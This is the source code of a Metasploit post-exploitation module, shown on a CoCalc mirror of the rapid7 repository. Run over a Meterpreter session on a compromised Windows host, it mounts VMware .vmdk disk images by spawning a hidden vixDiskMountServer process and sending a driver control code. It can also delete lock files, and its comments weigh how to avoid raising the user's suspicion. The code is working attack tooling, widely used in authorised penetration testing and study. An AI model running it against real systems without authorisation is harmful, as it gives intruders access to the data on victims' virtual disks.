Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/vmdk_mount.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Windows::FileSystem
9
include Msf::Post::Windows::Registry
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Manage VMDK Mount Drive',
16
'Description' => %q{
17
This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage
18
of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the
19
device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with
20
extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots
21
or clones are linked from the file.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
25
'References' => [
26
['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']
27
],
28
'Platform' => ['win'],
29
'SessionTypes' => ['meterpreter'],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
stdapi_fs_delete_file
34
stdapi_fs_ls
35
stdapi_fs_stat
36
stdapi_railgun_api
37
stdapi_sys_process_execute
38
stdapi_sys_process_get_processes
39
stdapi_sys_process_getpid
40
stdapi_sys_process_kill
41
]
42
}
43
},
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'SideEffects' => [IOC_IN_LOGS],
47
'Reliability' => []
48
}
49
)
50
)
51
52
register_options(
53
[
54
OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),
55
OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),
56
OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),
57
OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),
58
]
59
)
60
end
61
62
def run
63
vol = datastore['DRIVE'][0].upcase
64
vmdk = datastore['VMDK_PATH']
65
if vol.count('EFGHIJKLMNOPQRSTUVWXYZ') == 0
66
print_error('Wrong drive letter. Choose another one')
67
return
68
end
69
70
drives = get_drives
71
if drives.include? vol
72
print_error("The following mount points already exists: #{drives}. Choose another one")
73
return
74
end
75
76
# Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
77
begin
78
client.fs.file.stat(vmdk)
79
rescue StandardError
80
print_error("File #{vmdk} not found")
81
return
82
end
83
84
vmware_path = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe', 'path')
85
86
if vmware_path.nil?
87
print_error('VMware installation path not found.')
88
return
89
end
90
91
print_status("VMware path: \"#{vmware_path}\"")
92
93
vstor_device = find_vstor2_device
94
if vstor_device.nil?
95
return
96
end
97
98
if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])
99
return
100
end
101
102
# Just few seconds to mount the unit and create the lck file
103
sleep(5)
104
105
if get_drives.include? vol
106
print_good("The drive #{vol}: seems to be ready")
107
if datastore['DEL_LCK']
108
delete_lck(vmdk)
109
end
110
else
111
print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
112
# Some snapshots could give some problems when are mount in write mode
113
if !datastore['READ_MODE']
114
print_status('Try to mount the drive in read only mode')
115
end
116
end
117
end
118
119
# Delete the lck file generated after mounting the drive
120
def delete_lck(vmdk)
121
lck_dir = vmdk << '.lck'
122
begin
123
files = client.fs.dir.entries(lck_dir)
124
vprint_status("Directory lock: #{lck_dir}")
125
rescue Rex::Post::Meterpreter::RequestError
126
print_status('It was not found a lck directory')
127
return
128
end
129
130
files.shift(2)
131
files.each do |f|
132
f_path = lck_dir + "\\#{f}"
133
next if !file?(f_path)
134
135
fd = client.fs.file.open(f_path)
136
content = fd.read.to_s
137
fd.close
138
next unless content.include? 'vixDiskMountServer'
139
140
begin
141
client.fs.file.rm(f_path)
142
print_status("Lock file #{f} deleted")
143
rescue StandardError => e
144
print_error("Unable to remove file: #{e.message}")
145
end
146
end
147
end
148
149
# Recover the device drive name created by vstor2-mntapi20-shared.sys
150
def find_vstor2_device
151
reg_services = 'HKLM\\SYSTEM\\ControlSet001\\Services\\'
152
devices = registry_enumkeys(reg_services)
153
vstor2_key = devices.grep(/^vstor2/)
154
if vstor2_key.none?
155
print_error("No vstor2 key found on #{reg_services}")
156
return
157
end
158
159
device_path = registry_getvaldata(reg_services << vstor2_key[0], 'ImagePath')
160
161
if device_path.nil?
162
print_error('No image path found for the vstor2 device')
163
return
164
end
165
166
device_name = device_path.split('\\')[-1].split('.')[0]
167
print_status("Device driver name found: \\\\.\\#{device_name}")
168
device_name.insert(0, '\\\\.\\')
169
end
170
171
# Mount the vmdk file by sending a magic control code via DeviceIoControl
172
def mount_vmdk(vstore, vmdk_file, vol, read_mode)
173
# DWORD value representing the drive letter
174
i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.index(vol)
175
drive_dword = [(0x00000001 << i)].pack('V')
176
vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")
177
178
ret = session.railgun.kernel32.CreateFileW(vstore, 'GENERIC_WRITE|GENERIC_READ', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 0, nil)
179
if ret['GetLastError'] != 0
180
print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")
181
return false
182
end
183
# fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer
184
fd1 = "\x24\x01\x00\x00"
185
fd2 = "\x00\x00\x00\x00"
186
fd3 = "\xBA\xAB\x00\x00"
187
fd4 = "\x00\x00\x00\x00"
188
fd5 = "\x02\x00\x00\x00"
189
fd6 = "\x00\x00\x00\x00"
190
path = vmdk_file.ljust 260, "\x00"
191
if read_mode
192
fd7 = "\x01\x00\x00\x00"
193
else
194
fd7 = "\x00\x00\x00\x00"
195
end
196
197
# The total length of the buffer should be 292
198
buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7
199
200
error_code = ''
201
tries = 0
202
loop do
203
ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'], 0x2A002C, buffer, 292, 16348, 16348, 4, nil)
204
error_code = ioctl['GetLastError']
205
vprint_status("GetlastError DeviceIoControl = #{error_code}")
206
tries += 1
207
break if tries == 3 || (error_code != 31 && error_code != 6)
208
end
209
210
if error_code == 997 || error_code == 0
211
client.railgun.kernel32.CloseHandle(ret['return'])
212
return true
213
else
214
print_error("The vmdk file could't be mounted")
215
return false
216
end
217
end
218
219
# Run the hidden vixDiskMountServer process needed to interact with the driver
220
def open_mountserver(path)
221
mount_bin = 'vixDiskMountServer.exe'
222
if !file?(path << mount_bin)
223
print_error("#{mount_bin} not found in \"#{path}\"")
224
return false
225
end
226
227
# If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be
228
# possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running
229
# the script could be a solution (although this can raise suspicions to the user).
230
231
# On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill
232
# the process to run the script again and mount another drive except if you change the mode (write or read only).
233
# For this reason, to avoid this case, the process is relaunched automatically.
234
p = session.sys.process.each_process.find { |i| i['name'] == mount_bin }
235
236
if p
237
if p['ppid'] != session.sys.process.getpid
238
print_error("An instance of #{mount_bin} is already running by another process")
239
return false
240
else
241
begin
242
print_status("Killing the #{mount_bin} instance")
243
session.sys.process.kill(p['pid'])
244
sleep(1)
245
rescue ::Rex::Post::Meterpreter::RequestError
246
print_error("The #{mount_bin} instance depending on Meterpreter could not be killed")
247
return false
248
end
249
end
250
end
251
252
begin
253
proc = session.sys.process.execute(path, nil, { 'Hidden' => true })
254
sleep(1)
255
print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")
256
rescue ::Rex::Post::Meterpreter::RequestError => e
257
print_error("Binary #{mount_bin} could could not be spawned : #{e}")
258
return false
259
end
260
261
true
262
end
263
end
264
265